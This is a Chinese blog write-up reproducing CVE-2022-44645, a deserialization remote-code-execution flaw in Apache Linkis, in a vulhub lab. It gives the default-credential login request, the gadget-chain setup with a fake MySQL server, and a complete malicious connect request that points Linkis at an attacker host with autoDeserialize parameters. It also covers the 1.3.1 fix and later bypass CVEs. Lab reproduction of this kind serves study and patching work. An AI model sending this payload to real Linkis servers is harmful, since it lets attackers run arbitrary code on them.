CVE-2022-44645漏洞复现

CVE-2022-44645漏洞复现

漏洞介绍

Apache Linkis MySQL JDBC 数据源反序列化远程代码执行漏洞****的介绍

Apache Linkis:一个大数据计算中间件,用来连接、管理各种数据源(如 Hive、MySQL、Spark 等)。它提供了一个 Web 界面,允许管理员或用户输入数据库的 IP、端口、用户名和密码来“添加数据源”。

JDBC Driver(****MySQL Connector/J):Java 程序用来连接 MySQL 数据库的官方驱动包。问题就出在这个驱动包的一个底层特性上。

漏洞原理

该漏洞的核心本质是:Apache Linkis 在允许用户配置或测试数据源时,未能对用户输入的 MySQL JDBC URL 参数进行严格的过滤与黑名单限制。攻击者可以通过配置恶意的 JDBC URL,诱导 Linkis 连接到一个受控的恶意 MySQL 服务器,从而触发客户端(Linkis)利用 MySQL Connector/J 驱动执行反序列化攻击,最终实现远程代码执行(RCE)

组件名称 受影响版本 修复版本 备注
Apache Linkis ≤ 1.3.0 Apache Linkis 1.3.1 及以上版本 核心在于限制了数据源连接字符串的参数
MySQL Connector/J 5.x 和 8.x 多个历史版本 驱动层面的补丁 依赖于特定参数的开启

复现

漏洞触发的“大前提”三要素

要成功复现或防范 CVE-2022-44645,必须以下三个条件同时满足,缺一不可:

  1. 宿主中间件:Apache Linkis 版本 $\le$ 1.3.0(未过滤 JDBC 恶意的 URL 参数)。

  2. 驱动版本:Linkis 的类路径中引入的是上述受影响范围内的 MySQL Connector/J(如随大数据平台自带的旧版 mysql-connector-java-5.1.x.jar)。

  3. 环境 Gadget:Linkis 自身包含可被反序列化利用的链(例如自带的 Commons-Beanutils 1.9.4)。

复现环境

靶机ip: 192.168.10.142

攻击机ip: 192.168.10.81

项目地址:https://github.com/vulhub/vulhub/tree/master/linkis/CVE-2022-44645

复现

Linkis服务由约七个微服务组成,完全启动需要1到2分钟。启动完成后,API网关地址为http://your-ip:9001,Eureka注册中心地址为http://your-ip:20303,默认账号密码为hadoop / hadoop

该靶场很简洁,能够访问到9001端口就行,就是以下该界面

2026-06-12-10-55-33-image

抓包,更换表单成为以下

POST /api/rest_j/v1/user/login HTTP/1.1
Host: your-ip:9001
Content-Type: application/json
{"userName":"hadoop","password":"hadoop"}

拿到会话 Cookie

2026-06-12-11-01-26-image

M7UZXQP9Ld0ykKbI5lLyUHN8+fGTma8b2HLiVea4FcQ=;

打开java-chains

//复现前需要先准备一个能响应MySQL握手与查询请求、并在响应中下发Java反序列化Payload的恶意MySQL服务端。

2026-06-12-11-03-57-image
2026-06-12-11-06-39-image
2026-06-12-11-07-08-image

//并基于Linkis classpath中自带的Commons-Beanutils 1.9.4链生成反序列化Payload。下图展示了在java-chains中构造FakeMySQLPayload → CommonsBeanutils1 → TemplatesImpl → BytecodeConvert → Exec这条链(命令为**touch /tmp/success**),生成结果中会返回一个短的字母数字MySQL用户名Token(例如dd14fff),恶意服务端会用这个Token来匹配后续JDBC客户端连接。

2026-06-12-11-09-08-image

接下来,先登录Linkis获取会话Cookie,然后向数据源管理的op/connect/json接口发送一次请求。data-source-manager只识别hostportusernamepasswordparams这5个键,因此恶意的JDBC URL参数需要以JSON字符串的形式放入connectParams.params字段:


POST /api/rest_j/v1/data-source-manager/op/connect/json HTTP/1.1
Host: your-ip:9001
Content-Type: application/json;charset=UTF-8
Cookie: linkis_user_session_ticket_id_v1=...

{
 "dataSourceName": "evil",
 "dataSourceTypeId": 1,
 "createSystem": "Linkis",
 "connectParams": {
 "host": "attacker-ip",
 "port": "3308",
 "username": "dd14fff",
 "password": "x",
 "params": "{\"autoDeserialize\":\"true\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"useSSL\":\"false\",\"maxAllowedPacket\":\"16777216\"}"
 }
}

记得修改下面框框里的

2026-06-12-11-12-07-image

发送,出现连接失败才是正确的

成功

2026-06-12-11-15-46-image

补充

Linkis 1.3.1引入的修复在SecurityUtils#checkJdbcConnParams中加入了JDBC URL参数黑名单,禁止使用autoDeserializeallowLoadLocalInfileallowLocalInfileallowUrlInLocalInfile#等参数,从而阻断该利用路径;后续版本针对这一黑名单的多次绕过(CVE-2023-27987、CVE-2023-29215、CVE-2023-46801)又持续做了加固。

posted @ 2026-06-12 11:34  harvIl  阅读(8)  评论(0)    收藏  举报